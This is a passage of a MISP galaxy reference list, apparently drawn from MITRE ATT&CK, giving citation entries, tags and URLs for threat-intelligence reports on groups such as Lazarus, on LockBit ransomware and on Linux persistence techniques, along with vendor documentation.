Table 21507. Table References

Links
https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1

Launch-VsDevShell.ps1 - LOLBAS Project

LOLBAS. (2022, June 13). Launch-VsDevShell.ps1. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Launch-VsDevShell.ps1 - LOLBAS Project"*

Table 21508. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Launch-VsDevShell/

MalwareBytes Lazarus-Andariel Conceals Code April 2021

Jazi, H. (2021, April 19). Lazarus APT conceals malicious code within BMP image to drop its RAT . Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="MalwareBytes Lazarus-Andariel Conceals Code April 2021"*

Table 21509. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/

Lazarus RATANKBA

Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.

The tag is: *misp-galaxy:references="Lazarus RATANKBA"*

Table 21510. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/

ATT Lazarus TTP Evolution

Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="ATT Lazarus TTP Evolution"*

Table 21511. Table References

Links
https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution

TrendMicro Lazarus Nov 2018

Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.

The tag is: *misp-galaxy:references="TrendMicro Lazarus Nov 2018"*

Table 21512. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/

F-Secure Lazarus Cryptocurrency Aug 2020

F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020.

The tag is: *misp-galaxy:references="F-Secure Lazarus Cryptocurrency Aug 2020"*

Table 21513. Table References

Links

https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf

The Hacker News ClickFake Interview April 3 2025

Ravie Lakshmanan. (2025, April 3). Lazarus Group Targets Job Seekers With ClickFix Tactic to Deploy GolangGhost Malware. Retrieved May 29, 2025.

The tag is: *misp-galaxy:references="The Hacker News ClickFake Interview April 3 2025"*

Table 21514. Table References

Links
https://thehackernews.com/2025/04/lazarus-group-targets-job-seekers-with.html

ASEC Lazarus 2022

AhnLab ASEC. (2022, October 6). Lazarus Group Uses the DLL Side-Loading Technique (mi.dll). Retrieved January 7, 2025.

The tag is: *misp-galaxy:references="ASEC Lazarus 2022"*

Table 21515. Table References

Links
https://asec.ahnlab.com/en/39828/

ESET Lazarus KillDisk April 2018

Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.

The tag is: *misp-galaxy:references="ESET Lazarus KillDisk April 2018"*

Table 21516. Table References

Links
https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/

Lazarus KillDisk

Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.

The tag is: *misp-galaxy:references="Lazarus KillDisk"*

Table 21517. Table References

Links

https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/

SentinelOne 9 26 2022

Dinesh Devadoss, Phil Stokes. (2022, September 26). Lazarus "Operation In(ter)ception" Targets macOS Users Dreaming of Jobs in Crypto. Retrieved March 8, 2024.

The tag is: *misp-galaxy:references="SentinelOne 9 26 2022"*

Table 21518. Table References

Links
https://www.sentinelone.com/blog/lazarus-operation-interception-targets-macos-users-dreaming-of-jobs-in-crypto/

McAfee Lazarus Resurfaces Feb 2018

Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.

The tag is: *misp-galaxy:references="McAfee Lazarus Resurfaces Feb 2018"*

Table 21519. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/

Kaspersky ThreatNeedle Feb 2021

Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.

The tag is: *misp-galaxy:references="Kaspersky ThreatNeedle Feb 2021"*

Table 21520. Table References

Links
https://securelist.com/lazarus-threatneedle/100803/

Kaspersky Lazarus Under The Hood APR 2017

GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved October 3, 2018.

The tag is: *misp-galaxy:references="Kaspersky Lazarus Under The Hood APR 2017"*

Table 21521. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf

Kaspersky Lazarus Under The Hood Blog 2017

GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="Kaspersky Lazarus Under The Hood Blog 2017"*

Table 21522. Table References

Links
https://securelist.com/lazarus-under-the-hood/77908/

Secureworks Emotet Nov 2018

Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Secureworks Emotet Nov 2018"*

Table 21523. Table References

Links
https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader

MalwareBytes LazyScripter Feb 2021

Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="MalwareBytes LazyScripter Feb 2021"*

Table 21524. Table References

Links
https://web.archive.org/web/20211003035156/https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf

Ldifde.exe - LOLBAS Project

LOLBAS. (2022, August 31). Ldifde.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Ldifde.exe - LOLBAS Project"*

Table 21525. Table References

Links

https://lolbas-project.github.io/lolbas/Binaries/Ldifde/

Ldifde Microsoft

Microsoft. (2016, August 31). Ldifde Microsoft. Retrieved July 11, 2023.

The tag is: *misp-galaxy:references="Ldifde Microsoft"*

Table 21526. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)

Symantec Leafminer July 2018

Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.

The tag is: *misp-galaxy:references="Symantec Leafminer July 2018"*

Table 21527. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east

Proofpoint TA505 Mar 2018

Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.

The tag is: *misp-galaxy:references="Proofpoint TA505 Mar 2018"*

Table 21528. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware

Unit 42 Leaked Environment Variables 2024

Margaret Kelley, Sean Johnstone, William Gamazo, and Nathaniel Quist. (2024, August 15). Leaked Environment Variables Allow Large-Scale Extortion Operation in Cloud Environments. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Unit 42 Leaked Environment Variables 2024"*

Table 21529. Table References

Links
https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/

Kaspersky April 15 2024

Eduardo Ovalle. (2024, April 15). Leaked LockBit builder in a real-life incident response case. Retrieved May 8, 2024.

The tag is: *misp-galaxy:references="Kaspersky April 15 2024"*

Table 21530. Table References

Links
https://securelist.com/lockbit-3-0-based-custom-targeted-ransomware/112375/

Microsoft Purview Data Loss Prevention

Microsoft. (2024, January 9). Learn about data loss prevention. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="Microsoft Purview Data Loss Prevention"*

Table 21531. Table References

Links
https://learn.microsoft.com/en-us/purview/dlp-learn-about-dlp

Medium DnsTunneling

Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.

The tag is: *misp-galaxy:references="Medium DnsTunneling"*

Table 21532. Table References

Links
https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000

Learn XPC Exploitation

Wojciech Reguła. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="Learn XPC Exploitation"*

Table 21533. Table References

Links

https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/

ClearSky Lebanese Cedar Jan 2021

ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.

The tag is: *misp-galaxy:references="ClearSky Lebanese Cedar Jan 2021"*

Table 21534. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

Mandiant UNC3313 Feb 2022

Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.

The tag is: *misp-galaxy:references="Mandiant UNC3313 Feb 2022"*

Table 21535. Table References

Links
https://www.mandiant.com/resources/telegram-malware-iranian-espionage

Huntress Persistence Microsoft 365 Compromise 2024

Sharon Martin. (2024, November 5). Legitimate Apps as Traitorware for Persistent Microsoft 365 Compromise. Retrieved March 20, 2025.

The tag is: *misp-galaxy:references="Huntress Persistence Microsoft 365 Compromise 2024"*

Table 21536. Table References

Links
https://www.huntress.com/blog/legitimate-apps-as-traitorware-for-persistent-microsoft-365-compromise

LemonDuck

Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.

The tag is: *misp-galaxy:references="LemonDuck"*

Table 21537. Table References

Links
https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/

Twitter Leoloobeek Scheduled Task

Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter Leoloobeek Scheduled Task"*

Table 21538. Table References

Links
https://x.com/leoloobeek/status/939248813465853953

TLDRSec AWS Attacks

Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="TLDRSec AWS Attacks"*

Table 21539. Table References

Links
https://tldrsec.com/p/blog-lesser-known-aws-attacks

SpectorOps Medium ClickOnce

Nick Powers. (2023, June 7). Less SmartScreen More Caffeine: (Ab)Using ClickOnce for Trusted Code Execution. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="SpectorOps Medium ClickOnce"*

Table 21540. Table References

Links
https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5

Let’s Encrypt FAQ

Let’s Encrypt. (2020, April 23). Let’s Encrypt FAQ. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="Let’s Encrypt FAQ"*

Table 21541. Table References

Links

https://letsencrypt.org/docs/faq/

OSX Malware Detection

Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="OSX Malware Detection"*

Table 21542. Table References

Links
https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf

xorrior emond Jan 2018

Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.

The tag is: *misp-galaxy:references="xorrior emond Jan 2018"*

Table 21543. Table References

Links
https://www.xorrior.com/emond-persistence/

Cyberreason DCOM DDE Lateral Movement Nov 2017

Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Cyberreason DCOM DDE Lateral Movement Nov 2017"*

Table 21544. Table References

Links
https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom

Ignacio Udev research 2024

Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.

The tag is: *misp-galaxy:references="Ignacio Udev research 2024"*

Table 21545. Table References

Links

https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/

Proofpoint Leviathan Oct 2017

Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="Proofpoint Leviathan Oct 2017"*

Table 21546. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets

LIBC

Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="LIBC"*

Table 21547. Table References

Links
https://man7.org/linux/man-pages//man7/libc.7.html

libzip

1. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.

The tag is: *misp-galaxy:references="libzip"*

Table 21548. Table References

Links
https://libzip.org/

Symantec Darkmoon Sept 2014

Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018.

The tag is: *misp-galaxy:references="Symantec Darkmoon Sept 2014"*

Table 21549. Table References

Links

https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign

Huntress LightSpy macOS 2024

Stuart Ashenbrenner, Alden Schmidt. (2024, April 25). LightSpy Malware Variant Targeting macOS. Retrieved January 3, 2025.

The tag is: *misp-galaxy:references="Huntress LightSpy macOS 2024"*

Table 21550. Table References

Links
https://www.huntress.com/blog/lightspy-malware-variant-targeting-macos

MelikovBlackBerry LightSpy 2024

Melikov, D. (2024, April 11). LightSpy Returns: Renewed Espionage Campaign Targets Southern Asia, Possibly India. Retrieved January 14, 2025.

The tag is: *misp-galaxy:references="MelikovBlackBerry LightSpy 2024"*

Table 21551. Table References

Links
https://blogs.blackberry.com/en/2024/04/lightspy-returns-renewed-espionage-campaign-targets-southern-asia-possibly-india

Wikipedia LLMNR

Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="Wikipedia LLMNR"*

Table 21552. Table References

Links
https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution

IzyKnows auditd threat detection 2022

IzySec. (2022, January 26). Linux auditd for Threat Detection. Retrieved September 29, 2023.

The tag is: *misp-galaxy:references="IzyKnows auditd threat detection 2022"*

Table 21553. Table References

Links

https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505

Fysbis Dr Web Analysis

Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.

The tag is: *misp-galaxy:references="Fysbis Dr Web Analysis"*

Table 21554. Table References

Links
https://vms.drweb.com/virus/?i=4276269

GDS Linux Injection

McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="GDS Linux Injection"*

Table 21555. Table References

Links
https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html

GDSecurity Linux injection

McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="GDSecurity Linux injection"*

Table 21556. Table References

Links
https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html

Linux/Cdorked.A We Live Security Analysis

Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.

The tag is: *misp-galaxy:references="Linux/Cdorked.A We Live Security Analysis"*

Table 21557. Table References

Links
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/

Avast Linux Trojan Cron Persistence

Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.

The tag is: *misp-galaxy:references="Avast Linux Trojan Cron Persistence"*

Table 21558. Table References

Links
https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/

Elastic Security Labs Linux Persistence 2024

Ruben Groenewoud. (2024, August 20). Linux Detection Engineering - A primer on persistence mechanisms. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Elastic Security Labs Linux Persistence 2024"*

Table 21559. Table References

Links
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms

Elastic Linux Persistence 2024

Ruben Groenewoud. (2024, August 29). Linux Detection Engineering - A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.

The tag is: *misp-galaxy:references="Elastic Linux Persistence 2024"*

Table 21560. Table References

Links
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms

BH Linux Inject

Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="BH Linux Inject"*

Table 21561. Table References

Links
https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf

PAM Backdoor

zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="PAM Backdoor"*

Table 21562. Table References

Links
https://github.com/zephrax/linux-pam-backdoor

Linux Password and Shadow File Formats

The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.

The tag is: *misp-galaxy:references="Linux Password and Shadow File Formats"*

Table 21563. Table References

Links
https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html

nixCraft - John the Ripper

Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.

The tag is: *misp-galaxy:references="nixCraft - John the Ripper"*

Table 21564. Table References

Links
https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/

Polop Linux PrivEsc Gitbook

Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.

The tag is: *misp-galaxy:references="Polop Linux PrivEsc Gitbook"*

Table 21565. Table References

Links

https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem

Man LD.SO

Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.

The tag is: *misp-galaxy:references="Man LD.SO"*

Table 21566. Table References

Links
https://www.man7.org/linux/man-pages/man8/ld.so.8.html

setuid man page

Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.

The tag is: *misp-galaxy:references="setuid man page"*

Table 21567. Table References

Links
http://man7.org/linux/man-pages/man2/setuid.2.html

BleepingComputer 12 3 2023

Lawrence Abrams. (2023, December 3). Linux version of Qilin ransomware focuses on VMware ESXi. Retrieved January 10, 2024.

The tag is: *misp-galaxy:references="BleepingComputer 12 3 2023"*

Table 21568. Table References

Links
https://www.bleepingcomputer.com/news/security/linux-version-of-qilin-ransomware-focuses-on-vmware-esxi/

Uninformed Needle

skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Uninformed Needle"*

Table 21569. Table References

Links
http://hick.org/code/skape/papers/needle.txt

List Blobs

Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="List Blobs"*

Table 21570. Table References

Links
https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs

ListObjectsV2

Amazon - ListObjectsV2. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="ListObjectsV2"*

Table 21571. Table References

Links
https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html

Wikipedia File Header Signatures

Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.

The tag is: *misp-galaxy:references="Wikipedia File Header Signatures"*

Table 21572. Table References

Links
https://en.wikipedia.org/wiki/List_of_file_signatures

Wikipedia OSI

Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.

The tag is: *misp-galaxy:references="Wikipedia OSI"*

Table 21573. Table References

Links
http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29

Hexacorn Listplanting

Hexacorn. (2019, April 25). Listplanting – yet another code injection trick. Retrieved August 14, 2024.

The tag is: *misp-galaxy:references="Hexacorn Listplanting"*

Table 21574. Table References

Links
https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/

AWS List Roles

Amazon. (n.d.). List Roles. Retrieved August 11, 2020.

The tag is: *misp-galaxy:references="AWS List Roles"*

Table 21575. Table References

Links
https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html

Google Cloud Secrets

Google Cloud. (n.d.). List secrets and view secret details. Retrieved September 25, 2023.

The tag is: *misp-galaxy:references="Google Cloud Secrets"*

Table 21576. Table References

Links
https://cloud.google.com/secret-manager/docs/view-secret-details

Peripheral Discovery Linux

Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.

The tag is: *misp-galaxy:references="Peripheral Discovery Linux"*

Table 21577. Table References

Links
https://linuxhint.com/list-usb-devices-linux/

AWS List Users

Amazon. (n.d.). List Users. Retrieved August 11, 2020.

The tag is: *misp-galaxy:references="AWS List Users"*

Table 21578. Table References

Links

https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html

Sophos PowerShell command audit

jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.

The tag is: *misp-galaxy:references="Sophos PowerShell command audit"*

Table 21579. Table References

Links
https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit

Dell TG-1314

Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.

The tag is: *misp-galaxy:references="Dell TG-1314"*

Table 21580. Table References

Links
http://www.secureworks.com/resources/blog/living-off-the-land/

Symantec Living off the Land

Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.

The tag is: *misp-galaxy:references="Symantec Living off the Land"*

Table 21581. Table References

Links
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf

LOLBAS Main Site

LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.

The tag is: *misp-galaxy:references="LOLBAS Main Site"*

Table 21582. Table References

Links
https://lolbas-project.github.io/

LOLBAS Project

Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.

The tag is: *misp-galaxy:references="LOLBAS Project"*

Table 21583. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS#criteria

LOLESXi

Janantha Marasinghe. (n.d.). Living Off The Land ESXi. Retrieved April 14, 2025.

The tag is: *misp-galaxy:references="LOLESXi"*

Table 21584. Table References

Links
https://lolesxi-project.github.io/LOLESXi/

FireEye 2019 Apple Remote Desktop

Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.

The tag is: *misp-galaxy:references="FireEye 2019 Apple Remote Desktop"*

Table 21585. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html

LKM loading kernel restrictions

Pingios, A.. (2018, February 7). LKM loading kernel restrictions. Retrieved June 4, 2020.

The tag is: *misp-galaxy:references="LKM loading kernel restrictions"*

Table 21586. Table References

Links

https://xorl.wordpress.com/2018/02/17/lkm-loading-kernel-restrictions/

Rapid7 LLMNR Spoofer

Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="Rapid7 LLMNR Spoofer"*

Table 21587. Table References

Links
https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response

Wikipedia Loadable Kernel Module

Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Wikipedia Loadable Kernel Module"*

Table 21588. Table References

Links
https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux

Microsoft LoadLibrary

Microsoft. (2018, December 5). LoadLibraryA function (libloaderapi.h). Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft LoadLibrary"*

Table 21589. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya

Microsoft Local Accounts Feb 2019

Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.

The tag is: *misp-galaxy:references="Microsoft Local Accounts Feb 2019"*

Table 21590. Table References

Links
https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts

Sternsecurity LLMNR-NBTNS

Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="Sternsecurity LLMNR-NBTNS"*

Table 21591. Table References

Links
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning

Sophos Geolocation 2016

Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.

The tag is: *misp-galaxy:references="Sophos Geolocation 2016"*

Table 21592. Table References

Links
https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/

Palo Alto Lockbit 2.0 JUN 2022

Elsad, A. et al. (2022, June 9). LockBit 2.0: How This RaaS Operates and How to Protect Against It. Retrieved January 24, 2025.

The tag is: *misp-galaxy:references="Palo Alto Lockbit 2.0 JUN 2022"*

Table 21593. Table References

Links
https://unit42.paloaltonetworks.com/lockbit-2-ransomware/

SentinelOne LockBit 2.0

SentinelOne. (n.d.). LockBit 2.0: In-Depth Analysis, Detection, Mitigation, and Removal. Retrieved January 24, 2025.

The tag is: *misp-galaxy:references="SentinelOne LockBit 2.0"*

Table 21594. Table References

Links
https://www.sentinelone.com/anthology/lockbit-2-0/

ASEC BLOG November 08 2022

Sanseo. (2022, November 8). LockBit 3.0 Being Distributed via Amadey Bot - ASEC BLOG. Retrieved May 15, 2023.

The tag is: *misp-galaxy:references="ASEC BLOG November 08 2022"*

Table 21595. Table References

Links
https://asec.ahnlab.com/en/41450/

VMWare LockBit 3.0 October 2022

Dana Behling. (2022, October 15). LockBit 3.0 Ransomware Unlocked. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="VMWare LockBit 3.0 October 2022"*

Table 21596. Table References

Links
https://blogs.vmware.com/security/2022/10/lockbit-3-0-also-known-as-lockbit-black.html

Sentinel Labs LockBit 3.0 July 2022

Jim Walter, Aleksandar Milenkoski. (2022, July 21). LockBit 3.0 Update | Unpicking the Ransomware's Latest Anti-Analysis and Evasion Techniques. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="Sentinel Labs LockBit 3.0 July 2022"*

Table 21597. Table References

Links
https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/

Sentinel Labs LockBit 3.0 JUL 2022

Walter, J. (2022, July 21). LockBit 3.0 Update | Unpicking the Ransomware's Latest Anti-Analysis and Evasion Techniques. Retrieved February 5, 2025.

The tag is: *misp-galaxy:references="Sentinel Labs LockBit 3.0 JUL 2022"*

Table 21598. Table References

Links
https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques

Cyble LockBit 3.0 July 2022

Cybleinc. (2022, July 5). Lockbit 3.0 – Ransomware group launches new version. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="Cyble LockBit 3.0 July 2022"*

Table 21599. Table References

Links
https://blog.cyble.com/2022/07/05/lockbit-3-0-ransomware-group-launches-new-version/

ThreatDown by Malwarebytes May 1 2024

Jerome Segura. (2024, May 1). LockBit Black. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="ThreatDown by Malwarebytes May 1 2024"*

Table 21600. Table References

Links
https://www.threatdown.com/blog/lockbitblack-05-01-2024/

Kaspersky August 25 2023

Eduardo Ovalle. (2023, August 25). Lockbit leak, research opportunities on tools leaked from TAs. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Kaspersky August 25 2023"*

Table 21601. Table References

Links
https://securelist.com/lockbit-ransomware-builder-analysis/110370/

Flashpoint.io July 20 2023

Flashpoint. (2023, July 20). LockBit Ransomware Inside the World's Most Active Ransomware Group. Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Flashpoint.io July 20 2023"*

Table 21602. Table References

Links
https://flashpoint.io/blog/lockbit/

Chuong Dong March 15 2025

Chuong Dong. (2025, March 15). LockBit Ransomware v4.0. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Chuong Dong March 15 2025"*

Table 21603. Table References

Links
https://chuongdong.com/reverse%20engineering/2025/03/15/Lockbit4Ransomware/

The DFIR Report June 10 2020

The DFIR Report. (2020, June 10). Lockbit Ransomware, Why You No Spread. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="The DFIR Report June 10 2020"*

Table 21604. Table References

Links
https://thedfirreport.com/2020/06/10/lockbit-ransomware-why-you-no-spread/

INCIBE-CERT LockBit MAR 2024

INCIBE-CERT. (2024, March 14). LockBit: response and recovery actions. Retrieved February 5, 2025.

The tag is: *misp-galaxy:references="INCIBE-CERT LockBit MAR 2024"*

Table 21605. Table References

Links
https://www.incibe.es/en/incibe-cert/blog/lockbit-response-and-recovery-actions

Cary Esentutl

